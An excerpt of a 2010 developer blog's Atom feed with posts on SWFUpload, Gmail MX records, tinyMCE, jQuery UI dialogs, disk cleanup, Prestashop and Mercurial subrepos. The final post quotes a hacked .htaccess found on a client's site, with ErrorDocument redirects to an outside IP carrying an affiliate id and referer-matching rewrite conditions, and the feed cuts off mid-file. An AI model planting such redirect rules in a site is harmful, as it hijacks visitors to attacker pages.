    <id>https://blog.pixelastic.com/2010/03/25/extra-get-request-when-using-swfupload</id>
    <content type="html">&lt;p&gt;I&#39;ve been using &lt;a href=&quot;http://swfupload.org/&quot;&gt;SWFUpload&lt;/a&gt; for quite a long time now.
Put simply, it&#39;s a Flash/Javascript plugin allowing a file upload to be done
without having to submit the page.&lt;/p&gt;
&lt;p&gt;Basically it uses the streaming upload capacity of flash to fire javascript
events to tell the developer the upload percentage, do some filesize and
filetype checks, etc.&lt;/p&gt;
&lt;p&gt;If you&#39;ve ever seen an upload progress bar on any website, it most surely was
done using SWFUpload.&lt;/p&gt;
&lt;p&gt;Anyway, today I spotted a strange behavior in one of my pages, heavily using
&lt;code&gt;SWFUpload&lt;/code&gt;(more or less 20 upload fields). Using the Net panel of Firebug, I
saw some strange GET requests being made to my website.&lt;/p&gt;
&lt;p&gt;After digging into my code, I could isolate the problem. I was coming from
&lt;code&gt;SWFUpload&lt;/code&gt; itself. I even found record of
&lt;a href=&quot;http://code.google.com/p/swfupload/issues/detail?id=202&quot;&gt;a bug report&lt;/a&gt;
mentionning it.&lt;/p&gt;
&lt;p&gt;In a nutshell, SWFUpload always make a request to the url specified in the
&lt;code&gt;button_image_url&lt;/code&gt; parameter, even if you haven&#39;t specified one (in this case it
made a request to your webroot).&lt;/p&gt;
&lt;p&gt;I&#39;m not using any image for my button, or should I say, I take care of that in
CSS already, my SWFUpload button is just an invisible Flash element, positionned
on top of my existing button.&lt;/p&gt;
&lt;p&gt;I tried setting the value to &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt; or an empty string, but it would
continue to do the request.&lt;/p&gt;
&lt;p&gt;Anyway, I upgraded to the latest version (2.5.0 Beta 3), and it solves my
problem. Now I&#39;m just hoping that all the retro-compatibility will be kept.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Manually changing MX and CNAME resolving for Gmail</title>
    <link href="https://blog.pixelastic.com/2010/03/18/manually-changing-mx-resolving/"/>
    <updated>2010-03-18T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/18/manually-changing-mx-resolving</id>
    <content type="html">&lt;p&gt;I don&#39;t usually change MX resolving, but when I do, it always almost is using my
registrar or host admin panel.&lt;/p&gt;
&lt;p&gt;When I have to manually do it, (because the website is hosted on a dedicated
server where I have to manually edit almost everything), I always waste a lot of
time understanding where to find the configuration files.&lt;/p&gt;
&lt;p&gt;Today I had to change the MX record of an existing website to use those of
Google. The server hosting the website was also defined as nameserver, so I had
to update the &lt;code&gt;/var/named/domain.tld.hosts&lt;/code&gt; file (the file may not be in the
same directory in your own server).&lt;/p&gt;
&lt;p&gt;I remove the line relative to the MX records and added those instead&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    10 ASPMX.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    20 ALT1.ASPMX.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    20 ALT2.ASPMX.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    30 ASPMX2.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    30 ASPMX3.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    30 ASPMX4.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;domain.tld.    IN    MX    30 ASPMX5.L.GOOGLE.COM.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It worked well.&lt;/p&gt;
&lt;p&gt;I also wanted to use a simple address for the webmail, like mail.domain.tld.&lt;/p&gt;
&lt;p&gt;So I added the following line&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;mail.domain.tld    IN    CNAME    ghs.google.com.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also updated the serial at the start of the file and rebooted my server. I
know there must be a less savage way that rebooting the server but I still
haven&#39;t find it.&lt;/p&gt;
&lt;p&gt;P.S: I used this
&lt;a href=&quot;http://www.google.com/support/a/bin/answer.py?hl=en&amp;amp;answer=116393&quot;&gt;google / DNS Stuff page&lt;/a&gt;
to help me test my records all along the way&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>tinyMCE mceRemoveNode explained</title>
    <link href="https://blog.pixelastic.com/2010/03/11/tinymce-mceremovenode-explained/"/>
    <updated>2010-03-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/11/tinymce-mceremovenode-explained</id>
    <content type="html">&lt;p&gt;When writing my image plugin for tinyMCE today I came accross the
&lt;code&gt;mceRemoveNode&lt;/code&gt; command that one can use to alter the tinyMCE editor content.&lt;/p&gt;
&lt;p&gt;It has to be used with &lt;code&gt;editor.execCommand(&#39;mceRemoveNode&#39;, true/false, node)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I don&#39;t really get what the &lt;code&gt;true&lt;/code&gt;/&lt;code&gt;false&lt;/code&gt; argument was about, setting either
one or the other didn&#39;t change anything (that I could tell) in my case. The node
argument is the DOM node you want to remove from the editor.&lt;/p&gt;
&lt;p&gt;At first I thought that the command would allow me to remove a node from the
editor area. I needed it in my plugin. But it was not exactly what it really
does.&lt;/p&gt;
&lt;p&gt;In fact it only removes the wrapping node, but keep the content intact. In other
words if you have&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://www.domain.com/&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; src&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://www.domain.com/picture.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And you remove the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; node using &lt;code&gt;mceRemoveNode&lt;/code&gt;, you&#39;ll end up with&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; src&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://www.domain.com/picture.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in place of your link.&lt;/p&gt;
&lt;p&gt;I had to manually (well, with the great help of jQuery) remove the content of
the link before removing it. I could have remove the node itself using jQuery
but I thought that sticking to the tinyMCE methods would be a better approach, I
don&#39;t want to mess all this stuff up, maybe &amp;quot;simply&amp;quot; removing html nodes like
this could interfere with the &lt;code&gt;textarea&lt;/code&gt; value update, I don&#39;t know. And in
doubt, I prefer to use the methods and command exposed by the API&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Setting content-type in link attributes</title>
    <link href="https://blog.pixelastic.com/2010/03/11/setting-content-type-in-link-attributes/"/>
    <updated>2010-03-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/11/setting-content-type-in-link-attributes</id>
    <content type="html">&lt;p&gt;Reading a [comment on
AlsacrĂŠations](http://forum.alsacreations.com/topic-9-47144-3-Debat--URL-
Rewriting-avec-ou-sans-ID-.html#p332138), I&#39;ve discovered that there is a
&lt;a href=&quot;http://www.w3.org/TR/html401/struct/links.html#adef-type-A&quot;&gt;type attribute&lt;/a&gt;
defined in the link section of the HTML 4.01 spec.&lt;/p&gt;
&lt;p&gt;In a nutshell, it&#39;s an optional attribute that one can add to a &lt;a&gt; tag to tell
the browser the content type it is supposed to receive if following the link.&lt;/p&gt;
&lt;p&gt;Unfortunatly, no browser seems to be using it, but I added this support to
Caracole anyway.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Unresponding jQuery UI dialog box</title>
    <link href="https://blog.pixelastic.com/2010/03/10/unresponding-jquery-ui-dialog-box/"/>
    <updated>2010-03-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/10/unresponding-jquery-ui-dialog-box</id>
    <content type="html">&lt;p&gt;As this is the second time I encounter this &amp;quot;issue&amp;quot;, I think it may be clever to
post it here. At least, I won&#39;t have to debug it all the down again next time.&lt;/p&gt;
&lt;p&gt;In a nutshell, I was working on a complex UI that involve several layers of
dialog boxes, each one on top of the previous one. Each new dialog box is
supposed to offer the user something to do, and once it is done, the dialog box
disapear and the user can get back to the previous one.&lt;/p&gt;
&lt;p&gt;The &amp;quot;issues&amp;quot; I was having was after closing a specific window, I wasn&#39;t able to
focus the previous one. I mean, the window was there, I was even able to update
its fields using jQuery, but I couldn&#39;t focus it either using keyboard or mouse.&lt;/p&gt;
&lt;p&gt;After some digging, it appears that I wasn&#39;t correctly &amp;quot;closing&amp;quot; the previous
window. I was actually doing a &lt;code&gt;.dialog(&#39;destroy&#39;)&lt;/code&gt; instead of a
&lt;code&gt;.dialog(&#39;close&#39;)&lt;/code&gt; and this was causing my issue.&lt;/p&gt;
&lt;p&gt;Calling &lt;code&gt;close&lt;/code&gt; hides the dialog box, but keep it in the DOM. That way if I ever
need the same dialog box again, jQuery is smart enough to re-use it.&lt;/p&gt;
&lt;p&gt;Calling &lt;code&gt;destroy&lt;/code&gt; on the other hand actually remove the dialog box from the DOM,
forcing jQuery to recreate it from scrath.&lt;/p&gt;
&lt;p&gt;It appears that calling &lt;code&gt;destroy&lt;/code&gt; in my case caused a strange lose of focus, so
I reverted to close instead.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Why is my disk full?</title>
    <link href="https://blog.pixelastic.com/2010/03/08/why-is-my-disk-full/"/>
    <updated>2010-03-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/08/why-is-my-disk-full</id>
    <content type="html">&lt;p&gt;Ok, so remember when I was writing about that client of mine who had trouble
with its SquirelMail implementation. I thought it was a problem of SquirelMail
having trouble dealing with large directories.&lt;/p&gt;
&lt;p&gt;It was not exactly that, it more was a question of the IMAP server having issues
with disk space. I made some backups of the mails, cleaned it up a little then
everything went fine.&lt;/p&gt;
&lt;p&gt;But suddenly today, the same SquirrelMail started acting funny, blocking some
login attempt telling me that the IMAP server stopped responding, or displaying
message list without subject nor owner.&lt;/p&gt;
&lt;p&gt;Tired all of this, I decided (my client) to move its whole mail system to GMail,
using the Google system, while keeping my clients domain name. To finish the
registration process at Gmail, I had to put a googlehostedservice.html file
online on the domain to prove that I am the owner and...&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;452 Transfer aborted.  No space left on device&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is what the FTP server answered. What? No more space? But, but, but, but I
just cleaned it all, deleting a whole 1Go log file. Wtf?&lt;/p&gt;
&lt;p&gt;I connect to the server and got the list of the biggest files and directories by
doing a:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  /var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -ls&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; sort&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 7&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; head&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I found that the maillog was 1.1Go... I deleted it and hurry the Gmail
activation process. Problem solved.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Quick overview of the Prestashop admin panel</title>
    <link href="https://blog.pixelastic.com/2010/03/08/quick-overview-of-the-prestashop-admin-panel/"/>
    <updated>2010-03-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/08/quick-overview-of-the-prestashop-admin-panel</id>
    <content type="html">&lt;p&gt;One of my client wants to move an old osCommerce site to a new platform.
osCommerce is really an old system, it does not handle plugins (you have to hack
the core to add functionnality), has tablefull implementation and all the html
and php code is mixed up.&lt;/p&gt;
&lt;p&gt;I decided to move it to Prestashop. Why Prestashop? Well, obviously because
there is not that much choice on the e-commerce open source website scene
nowadays. The only other choice would have been Magento and from what I heard it
is quite a pain to install and make it running.&lt;/p&gt;
&lt;p&gt;For this project, I need to act very quickly and the new website should be up
and running in a matter of weeks. I&#39;ll use either a free theme or buy one
online, but I won&#39;t have time to involve a full design process in this. I&#39;ll
also have to migrate the complete product, customer and image database from one
system to the other.&lt;/p&gt;
&lt;p&gt;That won&#39;t be an easy task but... well... I have to do it.&lt;/p&gt;
&lt;p&gt;Anyway, before starting this whole progress I wanted to see what Prestashop
really had to offer me. I read their full feature list and hell, I even went to
there open presentation, here in Paris, when the v1.0 was realeased but from
what I&#39;ve seen it was a lot of talk, a lot of features a lot of everything but
very little attention to the details.&lt;/p&gt;
&lt;p&gt;Well, after testing the demo admin panel a little bit I can say that my first
impression was correct. Prestashop seems to be able to do a lot of stuff,
really. But the way it is presented to the user is far from optimal. There are a
lot of little mistakes that make using the interface more difficult that it
should be.&lt;/p&gt;
&lt;p&gt;For example they are using icons to illustrate almost any action or link. But
sometimes the icons do not have ANY link to the action. The icon for the &amp;quot;tags&amp;quot;
section is a dark cloud, the icon for the search engines is a key is an arrow,
they use the same icons for very different actions (editing a tab and paying
with cheque). An icon is supposed to convey in a rapid and easy visual way what
is text is about, but for Prestashop it is more like &amp;quot;What is that supposed to
mean?&amp;quot;&lt;/p&gt;
&lt;p&gt;SEO-friendly url are achieved through the use of .htaccess. Normal would you
think? Well yep, usually. But Prestashop does that by generating a huge
.htaccess (one line for each product) and mapping each product individually. I&#39;m
not really sure, and haven&#39;t run benchmarks on this but I guess it forces the
server to parse the .htaccess file for each request and redirect to the correct
page. It smells like a huge performance bottleneck for me, especially with a
website using i18n and multiples urls.&lt;/p&gt;
&lt;p&gt;I would have saved the &amp;quot;slug&amp;quot; of each product (in multiple languages if needed)
in the database and accessed products only based on their id. Of course, I would
have hooked every methods that is supposed to write an html link or any url to a
special method that would create the correct url based on the id, slug and
language.&lt;/p&gt;
&lt;p&gt;They also use a default implementation of tinyMCE with a lot of useless options
(like layers, html table, etc). They also have kept the default &amp;quot;insert image&amp;quot;
implementation, asking for the image url instead of hooking a custom image
upload script, much more useful.&lt;/p&gt;
&lt;p&gt;I&#39;ll have to use that admin panel anyway. I just hop that I do not underestimate
the time needed to move the shop to this platform.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using nested subrepos with Mercurial and TortoiseHg</title>
    <link href="https://blog.pixelastic.com/2010/03/05/using-nested-subrepos-with-mercurial-and-tortoisehg/"/>
    <updated>2010-03-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/05/using-nested-subrepos-with-mercurial-and-tortoisehg</id>
    <content type="html">&lt;p&gt;Nowadays, when I&#39;m developping a new website, I almost always ended using parts
and bits of the previous website I&#39;ve done. All my websites are based on the
same framework (cakePHP) that I have itself updated with its own CMS (Caracole,
more on that later).&lt;/p&gt;
&lt;p&gt;Caracole is made of several little plugins, each one of them focusing on a
simple task (like handling 404 errors, adding a recycle bin, draftable elements,
SEO-friendly url, and so on).&lt;/p&gt;
&lt;p&gt;I&#39;ve also updated each one of this plugins to BitBucket, allowing me to easily
commit changes and clone new version from one project to another.&lt;/p&gt;
&lt;p&gt;But very often, when working on a specific project, using a specific plugin I
think that I can update the plugin (be it either by adding a new feature or
fixing a bug I&#39;ve discovered). In that case, I want my changes to be added to
both the plugin (on BitBucket) and the project I&#39;m working on at the moment.&lt;/p&gt;
&lt;p&gt;To do that, I had to struggle my way with Mercurial because nested repositories
(called subrepos) is not a trivial setup.&lt;/p&gt;
&lt;h2&gt;Setting up subrepo with Mercurial:&lt;/h2&gt;
&lt;p&gt;Let me show you the classical and easy way to achieve that:&lt;/p&gt;
&lt;p&gt;First, let&#39;s say you have your main repo. You go in the directory where you want
to add your subrepo and you either create it using hg init or hg clone.&lt;/p&gt;
&lt;p&gt;You then go back to your main repo root and edit the .hgsub file (if you don&#39;t
have this file yet, just create it). Add the following line to the .hgsub:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;path/to/your/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;subrepo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = path/to/your/subrepo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, on every subsequent commit Hg will be aware that your repo is holding a new
subrepo. If you omit this line, Hg will not allow you to commit complaining
about a repo inside an other repo.&lt;/p&gt;
&lt;p&gt;You can now safely commit your main repo, or your subrepo independently.&lt;/p&gt;
&lt;p&gt;Now, let&#39;s see the edge case.&lt;/p&gt;
&lt;h2&gt;Changing a classical sub directory into a subrepo&lt;/h2&gt;
&lt;p&gt;The classical example above is what you can find in the Mercurial help pages. It
wasn&#39;t that helpful for me because my setup was a little different and it was
causing Hg a lot of trouble.&lt;/p&gt;
&lt;p&gt;I was not creating a new subrepo, nor cloning a new one. I had sub diretcory of
my main app, that I wanted to change into a subrepo. My sub directory was named
&#39;myplugin&#39; and I had a repo of that name hosted on BitBucket.&lt;/p&gt;
&lt;p&gt;So I tried to delete my existing &#39;myplugin&#39; directory, and clone the &#39;myplugin&#39;
from BitBucket, edit the .hgsub and commit but Hg aborted the operation,
complaining about the repo in repo file structure.&lt;/p&gt;
&lt;p&gt;After a lot of testing, and [cry for
help](http://stackoverflow.com/questions/2371330/what-is-the-correct-way-to-
handle-nested-hg-repositories-with-mercurial-tortoiseh), I finally managed to
get it to work. The workflow is almost the same, with one little new step.&lt;/p&gt;
&lt;p&gt;Deleting the &#39;myplugin&#39; folder wasn&#39;t enough. I had to tell Mercurial to
completly remove this files from its index. Using TortoiseHg, I was able to do
that by right clicking on the folder, and then choosing &#39;TortoiseHg &amp;gt; Remove
Files&#39;. Then I had to commit those changes, officially telling Mercurial to
forget this files, and putting it in a state where those files aren&#39;t there at
all.&lt;/p&gt;
&lt;p&gt;Then only was I able to clone my repo from BitBucket, edit the .hgsub file and
commit my main repo.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>.htaccess hacked</title>
    <link href="https://blog.pixelastic.com/2010/03/03/htaccess-hacked/"/>
    <updated>2010-03-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/03/htaccess-hacked</id>
    <content type="html">&lt;p&gt;Today a client called me telling me that its website was unavailable, or more
exactly that the full content of the FTP was displayed instead of its homepage.&lt;/p&gt;
&lt;p&gt;After a little investigation it appears that the .htaccess file had been
modified, here was the content I found:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteEngine&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; On&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorDocument&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 400&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; http://&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;232&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/hitin.php?land=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x26;affid=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20116&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorDocument&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 401&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; http://&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;232&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/hitin.php?land=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x26;affid=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20116&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorDocument&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 403&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; http://&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;232&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/hitin.php?land=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x26;affid=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20116&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorDocument&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 404&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; http://&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;232&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/hitin.php?land=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x26;affid=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20116&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ErrorDocument&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 500&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; http://&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;217&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;232&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/hitin.php?land=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x26;affid=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;20116&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*google.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*ask.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
